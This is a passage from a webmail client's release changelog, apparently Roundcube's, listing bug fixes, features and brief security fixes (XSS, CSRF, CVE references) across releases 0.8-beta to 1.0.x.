- Fix handling of base64-encoded attachments with extra spaces (#4678)
- Fix handling of UNKNOWN-CTE response, try do decode content client-side (#4650)
- Fix bug where creating subfolders in shared folders wasn't possible without ACL extension (#4680)
- Fix reply scrolling issue with text mode and start message below the quote (#4681)
- Fix possible issues in skin/skin_path config handling (#4689)
- Fix lack of delimiter for recipient addresses in smtp_log (#4703)
- Fix generation of Blowfish-based password hashes (#4721)
- Fix bugs where CSRF attacks were still possible on some requests [CVE-2014-9587]

## Release 1.0.3

- Initialize HTML editor before restoring a message from localStorage (#4631)
- Add 'sig_max_lines' config option to default config file (#5162)
- Add config option to specify IMAP connection socket parameters - imap_conn_options (#4589)
- Add option to set default message list mode - default_list_mode (#3157)
- Enable contextmenu plugin for TinyMCE editor (#3062)
- Fix insert-signature command in external compose window if opened from inline compose screen (#4663)
- Fix some mime-type to extension mapping checks in Installer (#4610)
- Fix errors when using localStorage in Safari's private browsing mode (#4619)
- Fix bug where $Forwarded flag was being set even if server didn't support it (#4621)
- Fix various iCloud vCard issues, added fallback for external photos (#4617)
- Fix invalid Content-Type header when send_format_flowed=false (#4616)
- Fix errors when adding/updating contacts in active search (#4630)
- Fix incorrect thumbnail rotation with GD and exif orientation data (#4641)
- Fix contacts list update after adding/deleting/moving a contact (#4640, #4644)
- Fix handling of email addresses with quoted domain part (#4647)
- Fix comm_path update on task switch (#4648)
- Fix error in MSSQL update script 2013061000.sql (#4658)
- Fix validation of email addresses with IDNA domains (#4661)

## Release 1.0.2

- Fix storing unsaved drafts in localStorage (#4529)
- Add configurable LDAP_OPT_DEREF option (#4546)
- Fix so when switching editor mode original version of signature is used (#4032)
- Fix unintentional draft autosave request if autosave is disabled (#4550)
- Fix malformed References: header in send/saved mail (#4552)
- Fix handling unicode characters in links (#4555)
- Fix incorrect handling of HTML comments in messages sanitization code (#4558)
- Fix so current page is reset on list-mode change (#4561)
- Fix so responses menu hides on click in classic skin (#4566)
- Fix unintentional line-height style modification in HTML messages (#4567)
- Fix broken normalize_string(), add support for ISO-8859-2 (#4568)
- Support csv contacts import in German localization (#4570)
- Fix so message list and counters are updated when a message is opened in new window (#4569)
- Fix malformed recipient name when composing a message by clicking on mailto link (#4583)
- Fix list reload after sending message in another window (#4576)
- Fix so address format errors are ignored when saving a draft (#4594)
- Fix incorrect label translation in return receipt (#4598)
- Fix security issue in delete-response action - allow only ajax request
- Fix Delete button state after deleting identity/response (#4603)
- Fix bug where contacts with no email address were listed on compose addressbook (#4602)
- Fix images import from various vCard formats (#4604)
- Fix sorting messages by size on servers without SORT capability (#4608)

## Release 1.0.1

- Support 'error' and 'body_file' return attribs in 'message_before_send' hook (#4467)
- Apply user-specific replacements to group's base_dn property (#4512)
- Fix missing email address when importing contacts from outlook csv (#4535)
- Fix bug where "With attachment" option in search filter wasn't selected after return from mail view (#4508)
- Fix "washing" of unicode style attributes (#4510)
- Fix unintentional redirect from compose page in Webkit browsers (#4516)
- Fix messages index cache update under some conditions (e.g. proxy) (#4505)
- Fix lack of translation of special folders in some configurations (#4520)
- Fix XSS issue in plain text spellchecker (#4524)
- Fix invalid page title for some folders (1489804)
- Fix redundant alert message on over-size uploads (#4528)
- Fix next message display after removing a message (#4521)
- Fix missing Mail-Followup-To header in sent mail (#4534)
- Fix error when spell-checking an empty text (#4536)
- Avoid popupmenus being closed when scrollbar is clicked (#4537)
- Add proxy_whitelist configuration option (#4496)
- Fix identities_level=4 handling in new_user_dialog plugin (#4540)
- Fix various db_prefix issues (#4539)
- Fix too small length of users.preferences column data type on MySQL
- Fix redundant warning when switching from html to text in empty editor (#4530)
- Fix invalid host validation on login (#4541)
- Fix IMAP connection test in installer so it is aware of imap_auth_type (#4502)

## Release 1.0.0

- Added toolbar button to move message in message view
- Fix style of disabled protocol handler link on IE (#4460)
- Fix message import dialog when no file is selected (#4488)
- Fix opening compose screen in new window after saving as draft (#4479)
- Fix directories check in Installer on Windows (#4462)
- Fix issue when default_addressbook option is set to integer value (#4379)
- Fix Opera > 15 detection (#4455)
- Fix security issue in DomainFactory driver of Password plugin
- Fix invalid X-Draft-Info on forwarded message draft (#4464)
- Fix regression in handling of 'attachments' result in message_compose hook (#4474)
- Fix issue where msgexport.sh printed the message to STDOUT instead of a file (#4476)
- Fix fatal error in database_attachments plugin under some conditions (#4495)

## Release 1.0-rc

- Small CSS fix with message notice boxes in Larry skin (#4429)
- Include groups in contacts search on mail compose (#4186)
- Add mime-type mapping for .7z files (#4436)
- Invoke update scripts with php to circumvent execution restrictions (#4330)
- Fix drag & drop message/contact moving on touch device (#4395)
- Fix canned responses in HTML mode (#4446)
- Check/create default folders on every login not only the first (#4391)
- Update to jQuery-1.11.0 and jQuery-UI-1.9.2
- Support SMTP socket context options via new config option 'smtp_conn_options'
- Fix compatibility with PHP 5.2 in html.php file (#4438)
- Remove expand/collapse with plus/minus keys (on numeric keypad) (#4437)
- Fix issue where filesystem path was added to all-attachments (zip) file (#4433)
- Fix case-sensitivity of email addresses handling on compose (#1899)
- Don't alter Message-ID of a draft when sending (#4381)
- Fix issue where deprecated syntax for HTML lists was not handled properly (#3975)
- Display different icons when Trash folder is empty or full (#2108)
- Remember last position of more headers switch (#3660)
- Fix so message flags modified by another client are applied on the list on refresh (#1639)
- Fix broken text/* attachments when forwarding/editing a message (#4393)
- Improved minified files handling, added css minification (#3041)
- Fix handling of X-Forwarded-For header with multiple addresses (#4424)
- Fix border issue on folders list in classic skin (#4419)
- Implemented menu actions to copy/move messages, added folder-selector widget (#863)
- Fix security rules in .htaccess preventing access to base URL without the ending slash (#4422)
- Fix regression where only first new folder was placed in correct place on the list (#4418)
- Fix issue where children of selected and collapsed thread were skipped on various actions (#4410)
- Fix issue where groups were not deleted when "Replace entire addressbook" option on contacts import was used (#4388)
- Fix unreliable mimetype tests in Installer (#4408)
- Fix performance of listing writeable folders (#4406)

## Release 1.0-beta

- Fix handling of invalid closing tags in HTML messages (#4403)
- Set real content-type for file downloads (#4400)
- Update TinyMCE to version 3.5.10 (#4401)
- Fix keyboard navigation in list widgets (#4367)
- Allow plugins to grab the reference of opened windows (#4383)
- Larry skin: Improved status message display for better visibility (#4115)
- Fix Internet Explorer 11 detection (#4397)
- Fix date column width to fit the widest possible date format (#4354)
- Move certain user preference options to a collapsed "advanced" block (#4015)
- Add file type icons for PowerPoint and Open Office presentations (#4269)
- Fix operations on folders with trailing spaces in name (#4387)
- Improve identity selection based on From: header (#4360)
- Fix issue where mails with inline images of the same name contained only the first image multiple times (#4378)
- Use left/right arrow keys to collapse/expand thread and spacebar to select a row, change Ctrl key behavior (#4367)
- Fix an issue where using arrow keys to go up a list can result in selected message being under headers (#4375)
- Fix an issue where Home/End keys don't focus list row properly, don't scrollTo properly (#4370)
- Add an option to disable smart Reply-List behaviour - reply_all_mode (#3953)
- Fix an issue where pressing minus key on contacts list was hiding list records (#4368)
- Fix an issue where shift + arrow-up key wasn't selecting all messages in collapsed thread (#4371)
- Added icon for priority column in messages list header (#4275)
- New feature "Canned Responses" to save and recall boilerplate text snippets
- Fix HTML part detection when encapsulated inside multipart/signed (#4357)
- Add spellchecker backend for the After the Deadline service
- Replace markdown-style [1] link indexes in plain text email bodies
- Improved mailto: link arguments handling (#4351)
- Use DOMDocument LIBXML_PARSEHUGE and LIBXML_COMPACT options if possible (#4316)
- Support HTTP_HOST, SERVER_NAME and SERVER_ADDR values in include_host_config feature
- Make default font size for HTML messages configurable (request #118)
- Fix XSS issue in addressbook group name field [CVE-2013-5646] (#4337)
- After message is sent refresh messages list of replied message folder (#4282)
- Add option force specified domain in user login - username_domain_forced (#4290)
- Add option to import Vcards with group assignments
- Save groups membership in Vcard export (#3801)
- Workaround broken PHP function timezone_name_from_abbr (#4289)
- Make cached message size limit configurable - messages_cache_threshold (#4326)
- Log also failed logins to userlogins log
- Add temp_dir_ttl configuration option (#4318)
- Allow setting INBOX as Sent folder (#4264)
- Fix replacement variables in user-specific base_dn in some LDAP requests (#4299)
- Fix image scaling issues when image has only one dimension smaller than the limit (#4296)
- Fix issue where uploaded photo was lost when contact form did not validate (#4296)
- Move identity selection based on non-standard headers into (new) identity_select plugin (#3835)
- Fix downloading binary files with (wrong) text/* content-type (#4292)
- Respect HTTP_X_FORWARDED_FOR and HTTP_X_REAL_IP variables for session IP check
- Simplified configuration by merging it into one file + defaults (#3156)
- Make message list header stay on top when scrolling (#353)
- Add support for 'enchant' spellcheck engine
- Check filetype detection in installer and update script (#4252)
- Fix folder names truncation in Classic skin (#4265)
- Make possible to disable some (broken) IMAP extensions with imap_disable_caps option (#4245)
- Contacts drag-n-drop default action is to move contacts (#3962)
- Added possibility to choose to move or copy contacts from drag-n-drop menu (#3962)
- Fix Close link and remove About link on error pages (#4201)
- Improved/unified attachment preview screen, added print button
- Fix lack of space between searchfilter and quicksearchbar in Larry skin (#4233)
- Cache LDAP's user_specific search and use vlv for better performance (#4247)
- LDAP: auto-detect and use VLV indices for all search operations
- LDAP: additional group configuration options for  address books
- LDAP: separated address book implementation from a generic LDAP wrapper class
- Allow address books to browse a multi-level group hierarchy in the contacts list
- Fix session issues when local and database time differs (#2401)
- Fix thread cache synchronization/validation (#4150)
- Added feature to import messages to the currently selected folder
- Add option show_real_foldernames to disable localization of special folders
- Fix database cache expunge issues (#4229)
- Fix date format issues on MS SQL Server (#4078)
- Add imap_cache_ttl option to configure TTL of imap_cache
- Make LDAP cache engine configurable via ldap_cache and ldap_cache_ttl options
- Fix "duplicate entry" errors on inserts to imap cache tables (#4228)
- Improved handling of Reply-To/Bcc addresses of identity in compose form (#4142)
- Added user preference to open all popups as standard windows
- Implemented shared cache (rcube_cache_shared)
- Change Reply-All button label/title when mailing list is detected (#4092)
- Fix SMTP connection using IPv6 address in smtp_server option (#4147)
- Added attachment_reminder plugin
- Make PHP code eval() free, use create_function()
- Add option to display email address together with a name in mail preview (#3952)
- Support CSV import from Atmail (#4161)
- Add db_prefix configuration option in place of db_table_*/db_sequence_* options
- Make possible to use db_prefix for schema initialization in Installer (#4175)
- Fix updatedb.sh script so it recognizes also table prefix for external DDL files
- Fix parsing invalid date string (#4155)
- Add "with attachment" option to messages list filter (#1795)
- Call resize handler in intervals to prevent lags and double onresize calls in Chrome (#4137)
- Add rel="noreferrer" for links in displayed messages (#4976)
- Add ability to toggle between HTML and text while viewing a message (#3005)
- Remove "HTML message" from attachments list while viewing a message in text mode (#3005)
- Support IMAP MOVE extension [RFC 6851]
- Add attachment menu with Open and Download options (#4116)
- Display user-friendly message on IMAP "over quota" errors (#914)
- Extended archive plugin with user-configurable options to store messages into subfolders
- Fix export of selected contacts from search result (#4070)
- Feature to export only selected contacts from addressbook (by Phil Weir)

## Release 0.9.5

- Fix failing vCard import when email address field contains spaces (#4363)
- Fix default spell-check configuration after Google suspended their spell service
- Fix vulnerability in handling _session argument of utils/save-prefs [CVE-2013-6172] (#4362)
- Fix iframe onload for upload errors handling (#4361)
- Fix address matching in Return-Path header on identity selection (#4358)
- Fix text wrapping issue with long unwrappable lines (#4356)
- Fixed issues where HTML comments inside style tag would hang Internet Explorer
- Hide Delivery Status Notification option when smtp_server is unset (#4339)
- Display full attachment name using title attribute when name is too long to display (#4328)
- Fix attachment icon issue when rare font/language is used (#4334)
- Fix expanded thread root message styling after refreshing messages list (#4335)
- Fix issue where From address was removed from Cc and Bcc fields when editing a draft (#4327)
- Fix error_reporting directive check (#4331)
- Fix de_DE localization of "About" label in Help plugin (#4333)

## Release 0.9.4

- Make identities matching case insensitive (#1881)
- Fix issue where too big message data was stored in cache causing sql errors (#4325)
- Fix iframe scrollbars on webkit desktop browsers (#4319)
- Fix issue where legacy config was overridden by default config (#4305)
- Fix newmail_notifier issue where favicon wasn't changed back to default (#4324)
- Fix setting of Junk and NonJunk flags by markasjunk plugin (#4303)
- Fix lack of Reply-To address in header of forwarded message body (#4314)
- Fix bugs when invoking contact creation form when read-only addressbook is selected (#4313)
- Fix identity selection on reply (#4308)
- Fix so additional headers are added to all messages sent (#4302)
- Fix display issue after moving folder in Folder Manager (#4310)
- Fix handling of non-default date formats (#4311)
- Fix unquoted path in PREG expression on Windows (#4307)
- Fix wrong close tag in /template/mail.html (#4312)

## Release 0.9.3

- Fix setting refresh_interval to "Never" in Preferences (#4304)
- Fixed iframe scrolling on touch devices
- Optimized message list for touch devices
- Fix purge action in folder manager (#4300)
- Fix base URL resolving on attribute values with no quotes (#4297)
- Fix wrong handling of links with '|' character (#4298)
- Fix colorspace issue on image conversion using ImageMagick (#4294)
- Fix XSS vulnerability when editing a message "as new" or draft [CVE-2013-5645] (#4283)
- Fix XSS vulnerability when saving HTML signatures [CVE-2013-5645] (#4283)
- Fix rewrite rule in .htaccess (#4278)
- Fix detecting Turkish language in ISO-8859-9 encoding (#4284)
- Fix identity-selection using Return-Path headers (#4279)
- Fix parsing of links with ... in URL (#4251)
- Fix compose priority selector when opening in new window (#4286)
- Fix bug where signature wasn't changed on identity selection when editing a draft (#4272)
- Fix IMAP SETMETADATA parameters quoting (#4274)
- Fix "could not load message" error on valid empty message body (#4271)
- Fix handling of message/rfc822 attachments on message forward and edit (#4262)
- Fix parsing of square bracket characters in IMAP response strings (#4267)
- Don't clear References and in-Reply-To when a message is "edited as new" (#4263)
- Fix messages list sorting with THREAD=REFS
- Remove deprecated (in PHP 5.5) PREG /e modifier usage (#4239)
- Fix empty messages list when register_globals is enabled (#4232)
- Fix so valid and set date.timezone is not required by installer checks (#4242)
- Canonize boolean ini_get() results (#4249)
- Fix so install do not fail when one of DB driver checks fails but other drivers exist (#4240)
- Fix so exported vCard specifies encoding in v3-compatible format (#4244)

## Release 0.9.2

- Fix image thumbnails display in print mode (#4220)
- Fix height of message headers block (#4200)
- Fix timeout issue on drag&drop uploads (#4238)
- Fix default sorting of threaded list when THREAD=REFS isn't supported
- Fix list mode switch to 'List' after saving list settings in Larry skin (#4236)
- Fix error when there's no writeable addressbook source (#4235)
- Fix zipdownload plugin issue with filenames charset (#4231)
- Fix so non-inline images aren't skipped on forward (#4230)
- Fix "null" instead of empty string on messages list in IE10 (#4227)
- Fix legacy options handling
- Fix so bounces addresses in Sender headers are skipped on Reply-All (#4140)
- Fix bug where serialized strings were truncated in PDO::quote() (#4226)
- Fix displaying messages with invalid self-closing HTML tags (#4223)
- Fix PHP warning when responding to a message with many Return-Path headers (#4222)
- Fix unintentional compose window resize (#4206)
- Fix performance regression in text wrapping function (#4219)
- Fix connection to postgres db using unix socket (#4218)
- Fix handling of comma when adding contact from contacts widget (#4199)
- Fix bug where a message was opened in both preview pane and new window on double-click (#4212)
- Fix fatal error when xdebug.max_nesting_level was exceeded in rcube_washtml (#4202)
- Fix PHP warning in html_table::set_row_attribs() in PHP 5.4 (#4194)
- Fix invalid option selected in default_font selector when font is unset (#4204)
- Fix displaying contact with ID divisible by 100 in sql addressbook (#4211)
- Fix browser warnings on PDF plugin detection (#4209)
- Fix fatal error when parsing UUencoded messages (#4210)

## Release 0.9.1

- Better German labels for from/to to avoid conflicts with 'sender' (#4188)
- Fix problem where security warning was displayed for valid images with image/jpg type (#4196)
- Fix handling of invalid email addresses in headers (#4193)
- Fix IMAP connection issue with default_socket_timeout < 0 and imap_timeout < 0 (#4191)
- Fix various PHP code bugs found using static analysis (#4190)
- Fix backslash character handling on vCard import (#4189)
- Fix csv import from Thunderbird with French localization (#4170)
- Fix messages list focus issue in Opera and Webkit (#4169)
- Fix Reply-To header handling in Reply-All action (#4157)
- Fix so Sender: address is added to Cc: field on reply to all (#4140)
- Fix so addressbook_search_mode works also for group search (#4183)
- Fix removal of a contact from a group in LDAP addressbook (#4185)
- Include SQL query in the log on SQL error (#4172)
- Fix handling untagged responses in IMAP FETCH - "could not load message" error (#4180)
- Fix very small window size in Chrome (#4087)
- Fix list page reset when viewing a message in Larry skin (#4182)
- Fix min_refresh_interval handling on preferences save (#4179)
- Fix PDF support detection for Firefox PDF.js (#4113)
- Fix possible collision in generated thumbnail cache key (#4177)
- Fix exit code on bootstrap errors in CLI mode (#4160)
- Fix error handling in CLI mode, use STDERR and non-empty exit code (#5161)
- Fix error when using check_referer=true
- Fix incorrect handling of some specific links (#4171)
- Fix incorrect handling of leading spaces in text wrapping
- Fix unintentional messages list jumps on click in Internet Explorer (#4167)
- Fix list of required configuration options (#4166)
- Fix DB error when creating a new contact and a group is selected (#4164)
- Fix handling of deprecated boolean value of reply_mode option (#4165)

## Release 0.9.0

- Fix display of HTML entities in protected folder name (#4159)
- Set minimal permissions to temp files (#4131)
- Improve content check for embedded images without filename (#4151)
- Fix handling of invalid characters in message headers and output (#4153)
- Fix selecting collapsed rows on select-all (#4156)
- Avoid race-conditions with concurrent attachment uploads (#3739)
- Fix possible header duplicates when using additional headers (#4154)
- Fix session issues with use_https=true (#4125)
- Fix blockquote width in sent mail (#4152)
- Fix keyboard events on list widgets in Internet Explorer (#4148)

## Release 0.9-rc2

- Fix security issue in save-pref command
- Remove sig_above configuration option, use reply_mode only (#4135)
- Refresh current folder in opener window after draft save or message sent (#4132)
- Fix saving draft just after entering compose window (#4141)
- Fix javascript error in IE9 when loading form with placeholders into an iframe (#4138)
- Fix handling of some conditional comment tags in HTML message (#4136)
- Fix so forward as attachment works if additional attachment is added by message_compose hook (#4134)
- Better handling of session errors in ajax requests (#4105)
- Fix HTML part detection for some specific message structures (#4130)
- Don't show fake address - phishing prevention (#4120)
- Fix forward as attachment bug with editormode != 1 (#4129)
- Fix LIMIT/OFFSET queries handling on MS SQL Server (#4123)
- Fix so task name can really contain all from a-z0-9_- characters (#4095)
- Fix javascript errors when working in a page opened with target="_blank"
- Mention SQLite database format change in UPGRADING file (#4122)
- Increase maxlength to 254 chars for email input fields in addressbook (#4126)
- Fix thumbnail size when GD extension is used for image resize (#4124)
- Display notice that message is encrypted also for application/pkcs7-mime messages (#3815)

## Release 0.9-rc

- Fix plain text spellchecker incorrect highlighting in non-ASCII text (#4114)
- Add workaround for invalid message charset detection by IMAP servers (#4112)
- Fix NUL characters in content-type of ms-tnef attachment (#4108)
- Fix regression in handling LDAP contact identifiers (#4104)
- Updated translations from Transifex
- Fix buggy error template in a frame (#4092)
- Add addressbook widget on compose page in classic skin
- Add search box to compose address book widget (#3710)
- Fix login in case when default_host is an array with one element (#4085)
- Use LDAP fallback hosts on connect + bind instead of ldap_connect() only.
- Add config option for LDAP bind timeout (sets LDAP_OPT_NETWORK_TIMEOUT option)
- Submit Addressbook advanced search form with Enter key (#3843)
- Also block remote images in HTML part view (#4013)
- Improved database schema upgrade procedure, added updatedb.sh script
- Force autocommit mode in mysql database driver (#4068)

## Release 0.9-beta

- Fix searching by date in address book (#4058)
- Improve charset detection by prioritizing charset according to user language (#2032)
- Fix handling of escaped separator in vCard file (#4064)
- Add option to use envelope From address for MDN responses (#4052)
- Add possibility to search in message body only (#3977)
- Support "multipart/relative" as an alias for "multipart/related" type (#4057)
- Display PGP/MIME signature attachments as "Digital Signature" (#3845)
- Workaround UW-IMAP bug where hierarchy separator is added to the shared folder name (#4051)
- Fix version comparisons with -stable suffix (#4050)
- Add unsupported alternative parts to attachments list (#4046)
- Add Compose button on message view page (#3959)
- Display 'Sender' header in message preview
- Plugin API: Added message_before_send hook
- Fix contact copy/add-to-group operations on search result (#4042)
- Use matching identity in MDN response (#4043)
- Fix handling of signatures on draft edit (#3996)
- Fix so compacting of non-empty folder is possible also when messages list is empty (#4039)
- Allow forwarding of multiple emails (#2941)
- Fix big memory consumption of DB layer (#4037)
- Fix broken message/part bodies when FETCH response contains more untagged lines (#4020)
- Fix empty email on identities list after identity update (#4018)
- Add new identities_level: (4) one identity with possibility to edit only signature
- Use Delivered-To and Envelope-To headers for identity selection (#4024, #3835)
- Fix XSS vulnerability using Flash files (#4014)
- Always save drafts with format=flowed in order to keep original line wraps (#3997)
- Select default_addressbook on the list in Address Book (#3624)
- Fix so mobile phone has TYPE=CELL in exported vCard (#4004)
- Support contacts import from CSV file (#2605)
- Improved keep-alive action. Now the interval is based on session_lifetime (#3799)
- Added cross-task 'refresh' request for system state updates (#3799)
- Renamed config options: keep_alive to refresh_interval, min_keep_alive to min_refresh_interval
- Fix handling of text/enriched content on message reply/forward/edit
- Option to display attached images as thumbnails below message body
- Upgraded to jQuery 1.8.3 and jQuery UI 1.9.1
- Add config option to automatically generate LDAP attributes for new entries
- Add user settings to open message view and compose form in new windows (#1886)
- Better client-side timezone detection using the jsTimezoneDetect library (#3947)
- Add option to disable saving sent mail in Sent folder - no_save_sent_messages (#3923)
- Fix handling dont_override with message_sort_col and message_sort_order settings (#3970)
- Fix handling of URLs with asterisk characters (#3969)
- Remove automatic to-lowercase conversion of usernames (#3941)
- Plugin API: Add 'email_list' argument for identities data in user_create hook
- Integrated zipdownload plugin to download all attachments (#617)
- Fix HTML special characters handling in message list/header display (#3812)
- List related text/html part as attachment in plain text mode (#3918)
- Use IMAP BINARY (RFC3516) extension to fetch message/part bodies
- Fix folder creation under public namespace root (#3910)
- Fix so "Edit as new" on draft creates a new message (#3924)
- Fix invalid error message on deleting mail from read only folder (#3929)
- Replace data URIs of images (pasted in HTML editor) with inline attachments (#3795)
- Remove (too big) min-width on mail screen
- Added template object 'frame'
- Add option to enable HTML editor on forwarding (#3807)
- Add option to not include original message on reply, rename option top_posting to reply_mode (#1615)
- Added session_path config option and unified cookies settings in javascript
- Added "Undeleted" option to messages list filter
- Rewritten test scripts for PHPUnit
- Add new DB abstraction layer based on PHP PDO, supporting SQLite3 (#3668)
- Removed PEAR::MDB2 package
- Removed users.alias column, added option ('user_aliases')
  to use email address from identities as username (#3851)
- Removed redundant cache.cache_id column (#3817)
- Fix order of attachments in sent mail (#3740)
- Fix Shift + delete button does not permanently delete messages (#3598)
- Add Content-Length for attachments where possible (#1880)
- Fix attachment sizes in message print page and attachment preview page (#3805)
- Add mail attachments using drag & drop on HTML5 enabled browsers
- Add workaround for invalid BODYSTRUCTURE response - parse message with Mail_mimeDecode package (#1966)
- Display Tiff as Jpeg in browsers without Tiff support (#3757)
- Don't display Pdf/Tiff/Flash attachments inline without browser support (#3757, #3394)
- Add is_escaped attribute for html_select and html_textarea (#3782)
- Fix issue where draft auto-save wasn't executed after some inactivity time
- Add vCard import from multiple files at once (#3458)
- Roundcube Framework:
    Add possibility to replace IMAP driver with custom class
    Add IMAP auto-connection feature, improving performance with caching enabled
    Replace imap_init hook with storage_init (with additional 'driver' argument)
    Improved performance by caching IMAP server's capabilities in session
    Unified global functions naming (rcube_ prefix)
    Better classes separation
    Framework files moved to lib/Roundcube

## Release 0.8.5

- Fix #countcontrols issue in IE<=8 when text is very long (#4060)
- Fix unwanted horizontal scrollbar in message preview header (#4044)
- Add workaround for IE<=8 bug where Content-Disposition:inline was ignored (#4028)
- Fix XSS vulnerability in vbscript: and data:text links handling [CVE-2012-6121] (#4033)
- Fix absolute positioning in HTML messages (#4007)
- Fix cache (in)validation after setting \Deleted flag
- Fix keyboard events on messages list in opera browser (#4011)
- Fix selection of collapsed thread rows (#3978)
- Fix wrapping of quoted text with format=flowed (#3561)

## Release 0.8.4

- Fix regression where unintentional page reload was done after request abort (#3999)
- Fix XSS vulnerability in handling of text/enriched messages (#4000)
- Fix handling of 'media' attribute on linked css (#3989)
- Fix excessive LFs at the end of composed message with top_posting=true (#3995)
- Fix bug where leading blanks were stripped from quoted lines (#3994)

## Release 0.8.3

- Fix AREA links handling (#3992)
- Fix possible HTTP DoS on error in keep-alive requests (#3983)
- Fix compatibility with MDB2 2.5.0b4 (#3982)
- Fix a bug where saving a message in INBOX wasn't possible
- Fix HTML part detection in messages with attachments (#3976)
- Fix bug where wrong words were highlighted on spell-before-send check
- Fix scrolling quirk in email preview frame using Opera 12 (#3973)
- Fix displaying of multipart/alternative messages with empty parts (#3961)
- Fix threaded list sorting on PHP < 5.2.9 (#3960)
- Fix Warning: htmlspecialchars(): charset `RCMAIL_CHARSET` not supported warning in Installer (#3958)

## Release 0.8.2

- Fix XSS vulnerability from HTTP User-Agent header (#3954)
- Force fonts in compose fields to be all the same (#3926)
- Fix handling vCard entries with TEL;TYPE=CELL (#3949)
- Fix error where session wasn't updated after folder rename/delete (#3928)
- Fix PLAIN authentication for some IMAP servers (#3916)
- Fix encoding vCard file when contains PHOTO;ENCODING=b (#3922)
- Fix focus issue in IE when selecting message row (#3881)
- Add full headers view in message preview window (#3823)
- Fix message display page issues - unified with message preview (#3856, #3895)
- Fix displaying all headers when they contain malformed characters (#3911)
- Fix decoding of HTML messages with UTF-16 charset specified (#3902)
- Fix quota capability detection so it can be overwritten by a plugin (#3903)
- Fix identity selection on reply (#3516)
- Fix Larry's messages list filter in IE (#3890)
- Fix more IE issues by disabling Compat. mode with X-UA-Compatible meta tag (#3886)
- Fix setting locales under Solaris - use additional .UTF-8 suffix (#3887)
- Fix email address validation for addresses with IP address in domain part
- Fix Larry skin issues in IE7 compat. mode (#3879)
- Fix so subscribed non-existing/non-accessible shared folder can be unsubscribed

## Release 0.8.1

- Fix bug where domain name was converted to lower-case even with login_lc=false (#3859)
- Fix lower-casing email address on replies (#3863)
- Fix line separator in exported messages (#3866)
- Fix XSS issue where plain signatures wasn't secured in HTML mode [CVE-2012-4668] (#3875)
- Fix XSS issue where href="javascript:" wasn't secured [CVE-2012-3508] (#3875)
- Fix impossible to create message with empty plain text part (#3873)
- Fix stripped apostrophes when replying in plain text to HTML message (#3869)
- Fix inactive Save search option after advanced search (#3870)
- Fix Remove from group option is active for contact search result (#3871)
- Disable autocapitalization in login form on iPad/iPhone (#3872)
- Fix focus on the list when list row is clicked (#3865)
- Added separate From and To columns apart from smart From/To column (#2970)
- Fix fallback to Larry skin when configured skin isn't available (#3857)
- Fix (workaround) delete operations with some versions of memcache (#3858)
- Fix (disable) request validation for spell and spell_html actions

## Release 0.8.0

- Don't show product version on login screen (can be enabled by config)
- Renamed old default skin to 'classic'. Larry is the new default skin.
- Support connections to memcached socket file (#3848)
- Enable TinyMCE inlinepopups plugin
- Update to TinyMCE 3.5.6
- Correctly escape localized labels in javascript variable (#3842)
- Update Net_SMTP/Auth_SASL packages to fix Digest-MD5/Cram-MD5 authentication (#3846)
- Don't add attachments content into reply/forward/draft message body (#3837)
- Fix 'no connection' errors on page unloads (#3832)
- Plugin API: Add 'unauthenticated' hook (#3545)
- Show explicit error message when provided hostname is invalid (#3834)
- Fix wrong compose screen elements focus in IE9 (#3826)
- Fix fatal error when date.timezone isn't set (#3831)
- Update to TinyMCE 3.5.4.1
- Better icons with distinct shapes for priority columns (#3706)
- Show dedicated icon for multipart/report messages (#3813)
- Properly hide text of icon links/buttons (#3820)
- Fix handling of unitless CSS size values in HTML message (#3821)
- Fix removing contact photo using LDAP addressbook (#3737)
- Fix storing X-ANNIVERSARY date in vCard format (#3816)
- Update to Mail_Mime-1.8.5 (#3810)
- Fix XSS vulnerability in message subject handling using Larry skin [CVE-2012-3507] (#3809)
- Fix handling of links with various URI schemes e.g. "skype:" (#3521)
- Fix handling of links inside PRE elements on html to text conversion
- Fix indexing of links on html to text conversion
- Decode header value in rcube_mime::get() by default (#3803)
- Fix errors with enabled PHP magic_quotes_sybase option (#3798)
- Fix SQL query for contacts listing on MS SQL Server (#3797)
- Fix window.resize handler on IE8 and Opera (#3758)
- Don't let error message popups cover the login form (#3794)
- Update to TinyMCE 3.5.2
- Don't show errors when moving contacts into groups they are already in (#3788)
- Make folders with unread messages in subfolders bold again (#2892)
- Abbreviate long attachment file names with ellipsis (#3793)
- Fix html2text conversion of strong|b|a|th|h tags when used in upper case
- Add listcontrols template container in Larry skin (#3792)
- Fix host autoselection when default_host is an array (#3790)
- Move messages forwarding mode setting into Preferences
- Fix HTML entities handling in HTML editor (#3780)
- Fix listing shared folders on Courier IMAP (#3767)

## Release 0.8-rc

- Added new translations in Belarusian, Interlingua and Malayalam
- Flipped compose options arrow (#3772)
- Fix handling of large uuencode attachments (#3771)
- Fix handling of "usemap" attribute (#3770)
- Fix handling of some HTML tags e.g. IMG (#3769)
- Use similar language as a fallback for plugin localization (#3726)
- Fix issue where signature wasn't re-added on draft compose (#3659)
- Update to TinyMCE 3.5 (#3762)
- Fixed multi-threaded autocompletion when number of threads > number of sources
- Allow to configure the number of values allowed for each LDAP attribute
- Support for serialized LDAP address values (usually delimited with a $)
- Less restrictive session auth checks, repeat keep-alive requests on failure (#3755)
- Fix redirect to mail/compose on re-login (#3585)
- Add IE8 hack for messages list issue (#3317)
- Fix handling errors on draft auto-save
- Fix importing vCard photo with ENCODING param specified (#3746)
- Support multiple name/email pairs for Bcc and Reply-To identity settings (#3752)
- Set flexible width to login form fields (#3735)
- Fix re-draw bug on list columns change in IE8 (#3318)
- Allow mass-removal of addresses from a group (#3259)
- Fix removing all contacts on import to LDAP addressbook
- Fix so "Back" from compose/show doesn't reset search request (#3594)
- Add option to delete messages instead of moving to Trash when in Junk folder (#2805)
- Fix invisible cursor when replying to a html message (#3100)
- Reset IP stored in session when destroying session data (#3485)
- Fix bug where memory_limit = -1 wasn't handled properly
- Support LDAP RFC2256's country object class read/write (#3535)
- Upgraded to jQuery 1.7.2
- Image resize with GD extension (#3712)
- Fix lack of warning when switching task in compose window (#3725)
- Fix bug where it wasn't possible to enter ( or & characters in autocomplete fields
- Request all needed fields from address book backends (#3721)
- Unified (single) spellchecker button
- Scroll long lists on drag&drop (#2249)
- Copy all skins in installto script (#3705)

## Release 0.8-beta

- Upgraded to jQuery 1.7.1 (#3673) and jQuery UI 1.8.18
- Add Russian to the spellchecker languages list (#3542)
- Remember custom skin selection after logout (#3688)
- Make sure About tab is always the last tab (#3609)
- Fix issue with folder creation under INBOX. namespace (#3683)
- Added mailto: protocol handler registration link in User Preferences (#2729)
- Handle identity details box with an iframe (#3066)
- Fix issue where some text from original message was missing on reply (#3675)
